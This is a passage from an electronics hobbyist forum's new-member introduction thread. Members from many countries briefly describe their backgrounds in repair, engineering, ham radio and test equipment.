I recently unearthed my old scope from storage and it has a bright dot mid-screen--not helpful. Also got my old Win-XP computer out at the same time. I confirmed a couple of VGA LCD monitors I acquired are working, but the computer produces a long continuous beep instead of booting, so more troubleshooting ahead.

I still play guitar and record. Also do some video editing. Anything to keep from watching too much YouTube. I'm hoping I can video some of my projects once I get some gear together. I had several going in 2012, but had some health issues. Now I'm back in the ring to take another swing.  8)
Title: Re: New Member, Please introduce yourself
Post by: Ubernuton on February 12, 2019, 01:58:13 am
Hey folks. I'm Michael. Just qualified as a Physics teacher in Australia, been lurking for a bit while learning electronics to teach to my students (it was the one area of the syllabus i didn't know through and through).

Title: Re: New Member, Please introduce yourself
Post by: radiorich on February 17, 2019, 01:15:47 am
Hello Everyone,
I have been working with electronics since I was a kid Then took electronics in 7th grade and then high school after that I went got degree in it .

Then in the  late 80s I bought a Radio and Tv repair business that had been started in the 1940s and well I ran that shop till early 2000's
I Collect Antique radios and Tv's Also old computer's and Audio gear ,So now I specialize in restoring Antique home and car audio for customers .
But my main job is I work at Public school Where help teach  7 classes a day, classes range  from  Computer science and to STEM,robotics, to begining woodshop .

My other passion is woodworking I enjoy building and restoring antique furniture  ,I live in a small farming and ranching town in Eastern WA.

Anyway how i got the nickname radio rich is because I designed and installed customer car audio systems so every since high school i have been working on car audio and when had my business running full bore my customers just started calling me Radio Rich.


Sincerely Richard
Sincere
Title: Re: New Member, Please introduce yourself
Post by: magic on February 17, 2019, 08:06:19 pm
Long time lurker checking in.
I've always been interested in reverse engineering and fixing stuff. Electronics is 100% a hobby for me, professionally I went into software development (systems programming, I hate everything web2.0 with a passion). Nevertheless, basic soldering and test equipment plus an ever growing stockpile of parts keeps creeping onto my shelves.
Another big time sink of mine is reading about all sorts of things for the sake of learning and for that end I found this forum a truly invaluable resource.  :-DD
I'm really impressed by the amount of solid information posted here by people clearly speaking from years of experience.
Title: Re: New Member, Please introduce yourself
Post by: GilbouFR on February 18, 2019, 12:54:49 pm
From Paris. Software developer working on C/C++/Rust/Java (mainly Java). Learning electronics and I'm interested in being able to repair things (I'm not really interested in building stuff through electronics compared to repairing existing stuff).
Title: Re: New Member, Please introduce yourself
Post by: timber23 on February 18, 2019, 08:35:11 pm
Hello everyone.
My name is Andreas and I read several topics on the forum during the last four years. Due to the information provided here, I bought a DP832, a SSA 3021X and several other devices. I think EEVblog is the reason why I spent a lot of money.  :-DD
Title: Re: New Member, Please introduce yourself
Post by: r3bers on March 05, 2019, 11:16:51 pm
Hello.
My name Mikhail, but in English better Mike.
I'am from Russia. Already 20 years of working in CAD.
10 years hobbyist electronics. And maybe last two years it becomes professional.
Read forum and watch Dave Videos many years. But not so good in my English, and writing something.

Thanks community for many information I can find here.
Title: Re: New Member, Please introduce yourself
Post by: radiorich on March 06, 2019, 01:53:54 am
Hello Guys
Anyway I wanted to say welcome aboard to Jeff,Danny,Rick,Andrew,Zero999,Martin and last Xynxnet .

I am also new here but I had been part another forum since the early 2000's since my main hobby is antique solidstate and tube gears mostly old radios but also have a use and restore test equipment and along with my teaching job I restore stuff and do repair for  clients back in the 80s my repair and resale radio and tv business was a full time job with employees .
Sincerely Rich
Title: Re: New Member, Please introduce yourself
Post by: nagchampa on March 06, 2019, 07:56:56 am
Hey, joined for the scope giveaway (the sob story video) but thought I might check out the rest of the forum. I'm from Brisbane, electronics hobbyist, unemployed software engineer. I'm a bit stuck on some projects so maybe I can get a little bit of help around here, and maybe there's someone I can help out in return.
Title: Re: New Member, Please introduce yourself
Post by: Clint_dk on March 06, 2019, 06:36:36 pm
Hi All, my name is Clinton from sunny South Africa. Im mainly involved in the education sector as a school inspector and advisor for schools offering Electrical Technology as a subject. I also do private work on the side (government employee, need i say more?) by doing servicing and repairs on  tube and solid state guitar amplifiers and effects units.
Title: Re: New Member, Please introduce yourself
Post by: Teno on March 07, 2019, 11:18:52 pm
Hello from Argentina!!!

Hope to learn here!

My interest? HAM, IoT, nerding and electronics...!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: biobee on March 08, 2019, 02:17:15 am
Hi All. I am glad to join the community! I wish to know if there is anyone that can help me with a few questions on transistor circuit analysis? I need calculate voltages and gain for some transistor amplifier circuits. If you can help me, please drop me an email also
Title: Re: New Member, Please introduce yourself
Post by: Teun on March 08, 2019, 12:01:28 pm
I've been a member for a while but I realised I never Introduced myself.

I'm a Electical Engineer from the Netherlands, working in the automotive industy.
Title: Re: New Member, Please introduce yourself
Post by: triagon on March 12, 2019, 04:41:44 pm
Hi everyone!
I'm triagon, and I come from Finland.
I'm a long time lurker of these forums and finally decided to register.

A little bit about me:
I'm currently studying electrical engineering (although I'm just a freshman at the moment)
Between upper secondary and uni I spent a year studying to become an electrician.
I have always loved electricity and tinkering with things, but that year in vocational school really sparked my interest in electricity and electronics.
Last spring I applied to university and got accepted.
It's been a very interesting year so far, and I'm looking forward to learning more.
I'm hoping to learn a lot from experienced people in this forum.

Edit: accidentally submitted my message too early
Title: Re: New Member, Please introduce yourself
Post by: electromotive on March 12, 2019, 11:39:29 pm
I'm Steven, and I don't *currently* own an oscilloscope.  :-BROKE

...but maybe I'll get lucky and win one.  :blah:

I've got a background in heavy industry, I'm working toward an industrial electrician apprenticeship. I also have formal university training with a B.S. in Natural Science, pending B.S. in Mathematics, and minors in physics and electro-mechanical engineering. My lab is a work in progress, but it's coming along nicely. I'm most interested in sensing/sensor development, quorum sensing (bacteria / biologics), and applications related to industrial controls, motor design, and power storage.  :bullshit:

I'm in my early 30s for another couple of months, enjoy Kentucky Bourbon (Makers Mark and Woodford Reserve) as well as single malt Scotch (Macallan) and occasionally a pint or two of Guinness. :box:
Title: Re: New Member, Please introduce yourself
Post by: joechina on March 16, 2019, 10:28:16 pm
Hi, I'm Joerg. I am from Germany. I have an apprenticeship in electronics.
And I am a long time lurker for 6 or 7 years, thought it is time to register.
Title: Re: New Member, Please introduce yourself
Post by: kevin! on March 17, 2019, 12:11:35 pm
Hi, I'm Kevin from Spain, in my spare time I'm dedicated to electronics.
then my job is the repair of vehicles, both electronic and mechanical.
I registered to learn new things and share my experiences.
Title: Re: New Member, Please introduce yourself
Post by: WildMOSFET on March 17, 2019, 12:31:34 pm
Hi everyone, I've discovered electronics since I was five and I've never stopped since.:-DMM
I like all aspects of electronics: from vacumm tubes analog circuits to modern projects with microcontrollers and FPGAs.:-/O
In addition to electronics, I am also interested in computer science.
I am currently studying EE, but am evaluating the hypothesis of switching to IT.
I write from Italy and now I am 23 years old.
Title: Re: New Member, Please introduce yourself
Post by: rcarlton on March 23, 2019, 01:30:32 pm
I am fascinated by electronics. My first project was an electric motor at ten. Have an interest in audio equipment and even automotive electronics. Have degrees in Geology and Physical Therapy. Living in Dallas, TX. I keep all the exercise equipment running in the clinic.
Title: Re: New Member, Please introduce yourself
Post by: Phuzzy112 on March 25, 2019, 10:17:11 am
Hi, Phuzzy here (literally and figuratively  ;D)

I have been interested in electronics for over 20 years now, but have only recently decided to actually get my hand on some proper kit and learn how to work this hobby properly. I have an interest in most things that involves disassembling or assembling things so am hoping to grow my workbench supplies over time.

I have enough skill to solder up a schematic from a datasheet, but don't know enough about anything that has more than 2 leads. I am hoping to change that
Title: Re: New Member, Please introduce yourself
Post by: Neomys Sapiens on March 25, 2019, 07:31:37 pm
Hello everyone! My name is Wendy, and I've worked at Harwin for 23 and a half years - the first nine in our Design Team. I have a BEng in Manufacturing Engineering, and a crazy-good memory for all the designs and projects that have passed through my hands here at Harwin. I designed or worked on a fair number of our standard products, and still keep an eye on Design  ;D .

These days, I'm the main Technical Support contact - you have a question on Harwin connectors and hardware, I'm the one you'll be talking to in Europe. I'm also responsible for all the technical stuff on our website. Any questions, let me know, I'm always happy to help!
Nice to see another industry rep being helpful of this forum!
Title: Re: New Member, Please introduce yourself
Post by: tozitom on March 30, 2019, 08:00:36 pm
hi forum!
António here, from Portugal (Coimbra). Electronics is on my mind since I was 9 (I'm almost 42 now :)). Starting with different electronic revues I've learned a lot since child, and then got into electronic repairs and I'm an electrotechnical eng since 1999. I've jumped on several jobs since then, from embedded dev, lab testing, proj management, etc, but always had electronics has hobby - and also repairs, but almost for family/friends/neighbors...
getting into more personal electronics now and also as free lancer, so I'm constantly searching for news and solving problems. I hope I will contribute to this fantastic forum where I've learned a lot for the fez years - thanks to all btw.
Title: Re: New Member, Please introduce yourself
Post by: PLEDGEY on March 31, 2019, 09:08:32 pm
Hello. I'm from Somerset In England. I'm a general builder that specialises in natural lime products, fully qualified B.P.C.A. pest controller and an Arborist a.k.a tree surgeon. I like fixing things myself be it an engine, house or electrical products. I have more success fixing things that require large hand held tools :-) I built a strobe light from a kit once and have made a couple of E.M.P generators from following videos on Youtube. You can probably tell I ain't no professional when it comes to electronics. I joined hoping I could get some questions answered. Be gentle if they seem stupid ;D
Title: Re: New Member, Please introduce yourself
Post by: buzzawak on April 01, 2019, 04:55:38 am
Hi guys and girls. I have been fiddling with electronics for a while and can fix the obvious stuff and only recently started hitting YouTube to learn how things actually work.
Hope to learn heaps. I do have a few repairs (projects) on the table at the moment and more than likely be asking for a hand getting working again.

Thanks again
Buzzawak.
Title: Re: New Member, Please introduce yourself
Post by: sylvandb on April 02, 2019, 07:27:56 pm
Seems like a good place for a first post...

Years ago I decided to make a career from computer science and keep electronics as a hobby. It worked out, but sometimes I still wonder if it would have been better to do electrical engineering professionally and programming as a hobby.

Professionally I'm a principle engineer currently doing firmware for network edge routers.

My hobbies tend to rotate daily or at least monthly. In addition to electronics, radio and microcontroller stuff I do everything from construction, plumbing, electrical, mechanics and I've experimented with sewing, crochet and cooking.  Currently (as always) I've too many irons in the fire as in addition to a busy time at work I'm starting a repipe of my house (galvanized to pex), repairing my offgrid solar electric system (800w active, 400w out of commission due to storm damage with another 400w waiting until after I assemble and deploy the new 10kwh LiFePO4 battery...) and then it will be time to plan a new ground mount array, covering/patching the woodpecker holes in the house siding before they build nests, planning for a new roof, the wife's car is due for an oil change and mine needs new tires... and the wife and daughter currently have a dozen week old chicks in the laundry room. Oh, and that combined with the spring bulbs blooming in the garden means I need to get the lawnmower ready.

Hello everyone!
Title: Re: New Member, Please introduce yourself
Post by: visty on April 04, 2019, 04:07:31 am
Hello, I'm Nicholas and I am studying Electrical Engineering at Texas A&M University. I work on the Baja SAE team here on campus creating Data Acquisition systems for the car.
Title: Re: New Member, Please introduce yourself
Post by: Returning Tech on April 04, 2019, 01:55:24 pm
I am Returning Tech.  I've been out of the field for several years now (approx 7-8 years).  Lost my technician job and wasn't able to find another in area.  I just started a new job as a repair tech.  I've forgotten a lot more than I thought I would have.  One of the biggest issue with my new job is the fact that virtually everything I work on, we don't have schematics for.  This blog has been a great help.  I plan to visit frequently and maybe even help someone else in the future.
Title: Re: New Member, Please introduce yourself
Post by: Sapper on April 08, 2019, 06:06:12 pm
Hi,

I'm Sapper aka Rob. Only just found the eevblog video's on youtube and have been watching them from the 1st one (thanks to the all in order playlist) and am getting close to the 300th installment.

I have recently renewed my interest in electronics as a hobby mainly thanks to Dave & Big Clives video's. I have City & Guilds 224 qualifications in electronic test & servicing and was quite actively building projects designed by others. The actual design side isn't really my forte, more fault finding and repair. I drifted away once the family started as I no longer had anywhere to use as the kiddies selfishly occupied the bedroom I was using  :palm: :D

I'm looking to join the local hackspace where I can store stuff and will have a locker for the more expensive toys like my budget DSO and soon to be purchased DMM.

Anyways, that's my intro :)
Title: Re: New Member, Please introduce yourself
Post by: Ride the Lightning on April 08, 2019, 07:41:47 pm
Hello,

I've been a long time viewer of the eevblog YouTube videos and its great to find this forum with so many enthusiasts and professionals sharing. The dumpster diving videos being some of my favorites. Hoping to learn form the forum and I'll try to contribute.

Thanks for any help.
Title: Re: New Member, Please introduce yourself
Post by: Southernduckie on April 10, 2019, 12:29:19 pm
Hi I'm Andrew.
 I live in Australia and work in defence mainly aviation and avionics repair and maintenance.
Im building up my home lab slowly luckily I have access to most equipment through work if needed 8).
Title: Re: New Member, Please introduce yourself
Post by: powersola on April 12, 2019, 12:09:32 pm
Hi.

This is Chicco from Italy.

HAM-operator, I like computers and electronics (and all related things).

Have a nice day
Title: Re: New Member, Please introduce yourself
Post by: TomLO on April 25, 2019, 04:28:57 pm
Hi All.

I'm Tom, from Essex in the UK. I studied electronics and electrical engineering at college and worked as a maintenance engineer for a large injection moulding group for around 10 years. Left the industry to persue a career as a train driver but still like to dabble around with stuff at home and am a long-time viewer of the Eevblog on youtube.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: Wigo on April 26, 2019, 07:32:40 pm
Hello from Austria, 👋

I am Christian, 33 years old and i got into electronics a few months back when i got this itching at the back of my head that goes with questions like how does this work or my favorite reason to get into this sort of things is the following: i have no clue what makes (insert interesting subject) work and i do know nothing about it and i should learn about it. So i fetched an Arduino kit, grabbed a book and started experimenting. It took not long till i realized i do not really know the basics. So i took a step back and started studying the basics. And this is the point i am currently at. Learning the basics, understanding the basics and experimenting with various parts and circuits.

I have already learned much from the forum just by reading through various topics and i am glad that i found this forum and the EEV Blog in general.

So happy experimenting
Christian
 

Title: Re: New Member, Please introduce yourself
Post by: jord4231 on April 28, 2019, 02:00:10 am
Hi Jordan 31 yo from Australia,
Audio engineer by trade and tinkerer nature

Good to be on board
Title: Re: New Member, Please introduce yourself
Post by: Apofview on April 28, 2019, 03:31:48 pm
Hi,
Ilija from Montenegro, Im power system eengineer.
Field of interests are transients in power systems, so im trying - building some hi frequency gear. In proces of buying oscilloscope.
Title: Re: New Member, Please introduce yourself
Post by: shrekmix920 on May 02, 2019, 10:35:32 pm
I am 40 years old i live in Canada 🇨🇦. I started having fun with electronics when i was 11 with an Electronics 130 in 1 kit. I graduated hs in 1997 i went on to college and took Electronics core in 2000 and then industrial Electronics 2nd year of electronics 2001.

I am a musician i play acoustic and electric guitar. I wired my electric guitar on my own and thanks to a wiring diagram from Seymour Duncan.

Currently unemployed/self employed. I still enjoy at least watching Dave demonstrate and vlog electronics though i haven't built any circuits since 2001. (Except my guitar wiring and pickups).
Title: Re: New Member, Please introduce yourself
Post by: codeasm on May 04, 2019, 03:02:00 pm
Hi hello, im Nico

30ish, from the  netherlands and doing electronics as a hobby. I could try finding a job too, but I prever programming.
And that brings me to the hobbies and intrests, I do alott with embedded systems, compiling kernels and software.
reverseengineering is also something I do for fun. Program preferably in C, C++ and C#, but could do Java, Python and lua too. dont forget the web trio, html, css, javascibt.

If you google CodeAsm you probably find my website, youtube, twitter or various forums where i lurk. Like my favorite gameconsole xbox, msx, or general games research or prototypes. wich is probably the topic where you find my other comments on.

Have a wonderfull day :D
Title: Re: New Member, Please introduce yourself
Post by: number6photo on May 05, 2019, 01:38:13 pm
Hi,

I'm an electrical engineer from Michigan with a little over 30 years experience designing electronics for automobiles (airbag ECUs, electronic stability control ECUs, autonomous vehicle sensing systems/controllers, etc.).  I also play guitar (sorta) and lately have decided to build/modify vacuum tube (valve) amplifiers.
Title: Re: New Member, Please introduce yourself
Post by: Nokia 3310 on May 06, 2019, 06:11:52 pm
Just an aspiring Electrical Engineer from Michigan, joined the forum to ask some questions and discuss things.
Title: New Member, Please introduce yourself
Post by: Dude111 on May 07, 2019, 05:12:08 pm
Welcome to the site everyone :)

I am also new here......... Im glad to find another GOOD smf site!!
Title: Re: New Member, Please introduce yourself
Post by: GaryT on May 08, 2019, 05:41:27 am
Hi, I’m Gary. I moved from UK to work in HK and China 8 years ago. We are cable manufacturing in China.

If u need any help on manufacturing, samples or others.

You are welcome to email on gary@aytech.com.hk to discuss further


Sent from my iPhone using Tapatalk
Title: New Member, Please introduce yourself
Post by: Dude111 on May 08, 2019, 07:45:27 am
Hey Gary its nice to have ya ashore :)
Title: Re: New Member, Please introduce yourself
Post by: chevell69 on May 11, 2019, 07:09:30 pm
My name is andrew i am from the midwest working on kits for the hobbiest who are hams as well cant wait to talk and pick some of your guys minds about things
Title: New Member, Please introduce yourself
Post by: Dude111 on May 11, 2019, 09:16:57 pm
Hey Andy,nice to have ya with us buddy :)
Title: Re: New Member, Please introduce yourself
Post by: JxR on May 11, 2019, 09:41:34 pm
Hey all.  My name is Joshua.  I served a couple terms in the US Navy back in my younger days.  Then worked in IT for over a decade while living in Japan.  When my family and I moved back to the US, I decided to go back to school.  I'm just finishing up my fourth year of a computer engineering degree, and have one more year to go.  I've probably lurked on here for a couple years now, and decided to finally register and say hello.  So, Hello!  ;D
Title: New Member, Please introduce yourself
Post by: Dude111 on May 13, 2019, 12:59:01 pm
Wow Navy,good for you :)


Nice to have ya here!!!
Title: Re: New Member, Please introduce yourself
Post by: tabajaralabs on May 13, 2019, 05:02:53 pm
Hmm, I don't remember introducing myself, so here I am

Alexandre, from Sao Paulo, Brazil. Hardware designer, (ex?)amateur radio (PU1BZZ), retrocomputer/retrogames collector, whatever
http://tabalabs.com.br (http://tabalabs.com.br)
http://tabajara-labs.blogspot.com (http://tabajara-labs.blogspot.com)

ANything else? :)  :scared: :-BROKE :-+
Title: Re: New Member, Please introduce yourself
Post by: Smoky on May 14, 2019, 03:33:27 am
John from Raleigh, North Carolina USA

I'm a cabinetmaker who owns a soldering iron :)

...and who has more questions than answers too!
Title: Re: New Member, Please introduce yourself
Post by: reubenT on May 15, 2019, 08:13:26 pm
Reuben Titus here from middle TN USA.  Got into ham radio as a teen about 1980.  Been a researcher and experimenter ever since in many areas of interest, besides radio electronics and energy generation I've been a logger, sawmiller,  working on agriculture development in nutrient dense fertility,  nutrition and natural healing,  been into horses and training some.   Tried truck driving but it's way too boring combined with high stress.   
Title: Re: New Member, Please introduce yourself
Post by: Red Mountain on May 22, 2019, 06:35:36 pm
Howdy everyone, I'm a repair specialist, based in London. My team and I do all household appliance repairs, no brand is taboo. Pleasure to be here, and looking forward to engaging with other minds and shooting the breeze on everything electronics!
Title: Re: New Member, Please introduce yourself
Post by: Martin Miranda on June 03, 2019, 08:15:25 am
Martin from Manila, ph. :D
doing lorawan, iot and  electronics.  ^-^
Title: Re: New Member, Please introduce yourself
Post by: Amsoily on June 05, 2019, 07:45:08 am
Hello,
 Felt a sudden rush to impulse buy my first bench multimeter so I decided to join and slow it down.

GW Instek GDM-8251A and Fluke 8842a are the ones I am leaning towards.  Once I find my way around perhaps I will ask but it looks as if most noob questions have been answered. 

Really enjoy, repairing and modding audio equipment, I program and design for online radio.  In the military I worked with UHF and VHF antennas and maintained and repaired communications equipment. 

Am a new happy owner of a Hakko 951 and 2030.

Much respect, lots of amazing people here.  Have been reading for quite sometime.  Am happy to finally get to an age where I seemed to narrow my passions down and happy to be here.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: vad on June 13, 2019, 01:23:03 pm
Hi everyone. I am IT manager and former software engineer, who, when getting bored with business systems at work, finds relief in building hobbyist electronics projects at home. I got into electronics at the age of 8, gave it up when in university, then got back into the hobby in my 40ies. I am residing in Boston, and before moving in here I worked in different parts of the world, including Russia, Singapore and Australia.
Title: Re: New Member, Please introduce yourself
Post by: Kinkless Tetrode on June 16, 2019, 08:29:38 am
Hi everyone, my first post here.  A few months ago, I stumbled upon Dave's YouTube videos on how to put together an electronics lab for cheap and how to buy a $50 oscilloscope on eBay.  Well, I did manage to find that scope, power supply, function generator, and DMM for about $50 each.  Thanks, Dave!  But now, I'm addicted to test equipment and I'm a Voltnut wannabe.  :-DMM :-BROKE :scared:  All I wanted was to get some TE to build some circuits and test it in SPICE, but now I'm finding myself trolling eBay for cheap broken test equipment hoping to fix and revive it to something that I can use. Anybody else out there suffering from this fun addiction?   :popcorn:
Title: Re: New Member, Please introduce yourself
Post by: 25 CPS on June 21, 2019, 02:35:34 pm
Hello everybody,

I'm an electronics technologist but my job's steadily shifted towards being more and more IT based over the last number of years.  I've slowly been putting together a workshop at home over the last couple of years as time and money have permitted so I can do my own projects.  It's amazing what's available now at reasonable prices on the used and surplus test equipment market.

-Rob
Title: Re: New Member, Please introduce yourself
Post by: nixie84 on June 24, 2019, 10:02:00 am
Hello everyone

I am teaching myself electronics.
Title: Re: New Member, Please introduce yourself
Post by: Guineafowl21 on June 28, 2019, 10:01:51 am
Andy here - generally interested in electronics but mainly in repairing old stuff.
Title: Re: New Member, Please introduce yourself
Post by: Rose C on July 15, 2019, 11:16:32 am
Hi everyone. I'm a writer writing about different trends in technology and personal development. I'm currently a technical writer & editor at Engineer Warehouse. Glad to be here and I hope to be of help to some of you. :)
Title: Re: New Member, Please introduce yourself
Post by: StillTrying on July 15, 2019, 11:43:53 am
Hi everyone. I'm a writer writing about different trends in technology and personal development. I'm currently a technical writer & editor at Engineer Warehouse. Glad to be here and I hope to be of help to some of you. :)

You could be, but you'd have to provide some examples of your technical articles before I do the spam rating. :)
Title: Re: New Member, Please introduce yourself
Post by: Black Phoenix on July 15, 2019, 02:35:29 pm
Well I should do the presentation here, it seems instead of starting posting elsewhere.

Well my name is Marcio, I'm Portuguese but I'm currently living in Shenzhen, China with my wife.

My study background is on Computer Science And Technology but I had a vocational 3 year in a technical school about the following subjects:

Quote
Range of skills for:
 -  Reading, interpretation and implementation of schemes and / or drawings of analogue and digital electronic circuits, including books and technical manuals for electronic components and systems used in command and control equipment;
 -  Perform installation, repair and maintenance of modules or electronic equipment used in the command and control of industrial equipment, using tools and measuring instruments and test appropriate;
 -  Carrying out maintenance and repair of digital equipment and / or IT systems, as well as test the operation of industrial equipment (total or partial).

Basically my everyday electronics use s basic measurements with a DMM and momentary some easy repairs using the soldering iron, so most of what I learned was basically forgotten since I dedicated myself to the IT. Although currently I have too much time to think (looking for a job) so the electronics bug started moving again and I'm thinking of probably start learn a lot more and do a degree in a university in the future if things go OK. Yes most of the things I read here are a foreign language to me (In Portugal we say that "That's Chinese to me!" but since I'm in China and trying to learn Chinese, well it's worse than Chinese) and most of the technical terms slip from my mind.

Normally they say that probably I'm too old to start or that I should had started 10 years before... Yes probably but life never goes as we wanted. Well enough rambling.

So in advance I will say sorry if I make or say any stupid thing related with electronics, or if I do noob questions. I will try to search and google it a lot before I make a stupid question.

Thank you for having me! :D
Title: Re: New Member, Please introduce yourself
Post by: mindcrime on July 16, 2019, 08:43:27 pm
Hi, my name is Phil and I live in Chapel Hill, NC, USA.  I am a hobbyist when it comes to electronics, and have been dabbling in this stuff since I was a kid, although now as an adult I have the money to dive in to a deeper degree than I did in my youth. My areas of interest include retro-computing (I'm working on building a Zilog Z80 based machine), ham radio (callsign KM4VLN), SDR, using magnets for cool shit (coilguns, for example), home automation, and, really, anything else you can do with electricity.   ;D

Professionally, I work as a Solution Architect for a major multinational corporation, working with a team of Data Scientists and Machine Learning Engineers to build and deploy AI and ML based solutions.

The last tidbit about me that might be vaguely interesting is that I was a volunteer firefighter for about a decade, and was a 911 dispatcher for a while. So public safety (especially the fire service) has always been near and dear to my heart.


Title: Re: New Member, Please introduce yourself
Post by: tankc on August 06, 2019, 04:34:32 pm
Howdy, my name is Ryan.

I've been watching Dave's videos on and off for at least 5 years or so. My background is in software engineering, I've built web service applications for startups, industrial facilities, and AAA game studios. In my spare time I enjoy fiddling around with ham radio (KJ6WRJ), electronics, woodworking, and aircooled volkswagens.

That said, I don't have quite as much time to dedicate to my hobbies lately as I have in the past. I've got 4 kids (5, 3, and twin newborns) that keep me pretty busy for most of the time I'm not at work.

Glad to be a part of the EEVblog community. I've been a lurker for years, it's about time I sign up.
Title: Re: New Member, Please introduce yourself
Post by: Paceguy on August 08, 2019, 12:22:49 am
I retired earlier this year after over 40 years of working in the aerospace industry.I was also an audio tech. early in my career back in the 70's. Electronics has always been one of my main interests and hobby. I mainly repair older audio and electronic test equipment. I have an extensive repair /test bench at home. I'm looking forward to networking and exchanging information with members here on this blog.
Title: Re: New Member, Please introduce yourself
Post by: mbe1 on August 08, 2019, 02:08:13 am
I have been involved in electronics for 40 years both professional and as a hobby. I enjoy tinkering and doing repairs on all sorts of equipment. I have very much enjoyed the banter on this forum and decided to join.
Title: Re: New Member, Please introduce yourself
Post by: wavetrex on August 11, 2019, 12:42:03 pm
Hello !
New member, introducing myself :D

Long time subscriber to the Youtube channel, but just now registered to forums after discovering how interesting it is !

I actually went to electronics college over 20 years ago, but life took me towards computers and programming from year 1, so never actually practiced serious electronics (maybe just dabbling with repairing some things left and right).
I still find physics and electronics engineering fascinating, and who knows, maybe when I retire from the programmer job I'll restart working on electronics as a hobby... but that's still many years away.

But who knows, perhaps by being on this forum it will happen sooner?  ;D

Have a nice day/evening/night !
W.
Title: Re: New Member, Please introduce yourself
Post by: rcpilot23 on August 18, 2019, 02:26:17 am
Gday everyone my name is Mike and I'm from Perth Western Australia.

Have always tinkered with electronics since the early 80's and have recently got back into it fixing old Sony Hifi gear and walkmans and video walkmans.

lots of fun !!
Title: Re: New Member, Please introduce yourself
Post by: snoozer on August 19, 2019, 12:33:59 pm
Hello,

my name is Jan and I live in West-Cork in Ireland. Originally I am from Germany but fell in love with the beautiful countryside at the south-west coats of Ireland. I am a qualified electrician (many many years ago) and have experience mostly in the industrial and commercial field of work. Was also for a spell in the defense forces where I had mainly to do with Power Generation for mobile weapon systems. Since 1999 I am full time in IT working on the network side of things as Network Engineer with a focus on MAN and WAN networks for ISPs in Germany and Ireland. Through the entire time I was always interested in electronics and tinkered around with stuff, sometime with success more time with magic smoke ;-). Never did the math properly etc...... I want to spend more time on electronics now along with 3D printing. Both go hand in hand very well I think. I have recently started to get myself proper equipment. Have to admit I also bough some stuff that turned out to be crap (Uni-T Multimeter comes to mind). I have done some work related stuff with Arduinos for backup battery monitoring of voltage and current but I am not a big programmer. I usually get by finding snippets of code or circuits on the Internet and adapt and modify to suit my needs. I am now faced with the need of a new bench power supply. I currently have a PSU from the 80th (I think), an old PowerTronic Linear supply +/- 15V, +5V and 0-24V 0-2A. I like this PSU but I like better to build my own. I have found some projects on the Internet that look promising, one in particular with is using a modular approach. So that will be my 1st project to start in depth why each component is the value it is and why its there, understanding how it works and how I can adapt it safely and reliable to my needs. I am watching the the Youtube channel since some time, love it !!!

I have one pressing question to start with so I go and seach if it was answered before.

Thanks and again, hello to everybody !
Jan P.
Title: Re: New Member, Please introduce yourself
Post by: YadiYada on August 21, 2019, 08:04:10 pm
I'm YadiYada (better known as MCe)
I'm a older chap, telecomms specialist, electronics enthusiast and like to tinker and make.
I like to teach people how to re-cycle and re-purpose, fix their stuff to extend their useful life.
Title: Re: New Member, Please introduce yourself
Post by: xmetal on August 23, 2019, 11:39:41 am
Hello,

My name is Andrew and I live in the centre of England. I've been meddling in electronics for over 40 years both professionally and as a hobby. I've worked in the telecommunication and computer industries. I'm currently clearing out the junk, rearranging the test benches and updating some of my test gear in my workshop room.  It's amazing what junk you accumulate over the years. :)
Title: Re: New Member, Please introduce yourself
Post by: shawty on August 23, 2019, 02:08:47 pm
Hello,

My name is Andrew and I live in the centre of England. I've been meddling in electronics for over 40 years both professionally and as a hobby. I've worked in the telecommunication and computer industries. I'm currently clearing out the junk, rearranging the test benches and updating some of my test gear in my workshop room.  It's amazing what junk you accumulate over the years. :)

North East guy here... and my intro largely sounds like yours, ex-Telecoms, and everything else.  Greetings from up and to the left of ya :-)  (Waves towards the center)

Title: Re: New Member, Please introduce yourself
Post by: xmetal on August 23, 2019, 10:45:49 pm
Hello,

My name is Andrew and I live in the centre of England. I've been meddling in electronics for over 40 years both professionally and as a hobby. I've worked in the telecommunication and computer industries. I'm currently clearing out the junk, rearranging the test benches and updating some of my test gear in my workshop room.  It's amazing what junk you accumulate over the years. :)

North East guy here... and my intro largely sounds like yours, ex-Telecoms, and everything else.  Greetings from up and to the left of ya :-)  (Waves towards the center)

Thanks for the warm welcome. :-+

It's nice to know I'm not the only one. :)

Title: Re: New Member, Please introduce yourself
Post by: yombo on September 05, 2019, 02:24:49 pm
Hi! I'm just another informatics nerd with tendency to manipulate electrons (sometimes magic smoke happens)

Have been a Youtube EEVBLOG subscriber for quite a while.
Title: Re: New Member, Please introduce yourself
Post by: Koreth on September 07, 2019, 06:49:04 am
Greetings EEVblog forum members

It says introduce yourself, so here I am. A little about me:

Growing up a nerd I was eternally curious about most things. From a young age, I took apart more than a few magic electric boxes to try to understand the magic therein, both with and without the permission of adults. However, not understanding the bits inside, and not having parents, teachers, an older mentor or an Internet which could guide my interest, my curiousity eventually drifted to computers and I ended up pursuing a career in IT, because EE was too inscrutable.

However, my interest never truly faded, and a little over a decade ago, I asked myself, "Okay, this guitar amplifier sounds good, but just *how* does it work?" As the Internet was then broadly available, down the rabit hole I went. When I finally got Ohm's Law, it was like getting the key to the first gate of many, and also crossing an event horizon past which I could never again remain ignorant that the magic inside the electrical box *can* be bent to my will, even if I don't yet understand *how*. Seriously, they should be teaching Ohm's law in High school, right after one has enough (pre-)algebra to work with it.

And so I read some more, learned some things, drew a few schematics, and even did some (very minor) mods for my guitar amps and effects pedals. Time passed and my interest waned for a bit after I stopped playing guitar regularly, and was finding the default capabilities of magic boxes good enough for the time being.

But that dry spell has been ending. In the past few years, I've grown more interested again, had various ideas for projects, been reading and learning again. I'd say in the past 6 months or so, I've really been itching to work on things. I expect to have time for my more ambitious projects before the year is out.

In my researching various things related to my project ideas, Google has sent me this way multiple times. I'm of the impression that it's one of the largest communities electronics hobbyists and professionals on the Internet. So, I expect I'll be around for a while, to get help and advice with my various projects. Hopefully in time, I'll be able to offer advice as well.
Title: Re: New Member, Please introduce yourself
Post by: DFC on September 10, 2019, 02:10:23 pm
Hi, Dave. Bugger all experience compared to most on this site.
From South Africa, or what's left of it. Thanks for having me.
Title: Re: New Member, Please introduce yourself
Post by: FireStriker on September 14, 2019, 01:28:37 pm
Hello from Down Under.

My name is Chris from Sydney, im just another nerd who enjoys taking things apart.
Title: Re: New Member, Please introduce yourself
Post by: EEEnthusiast on September 14, 2019, 02:04:41 pm
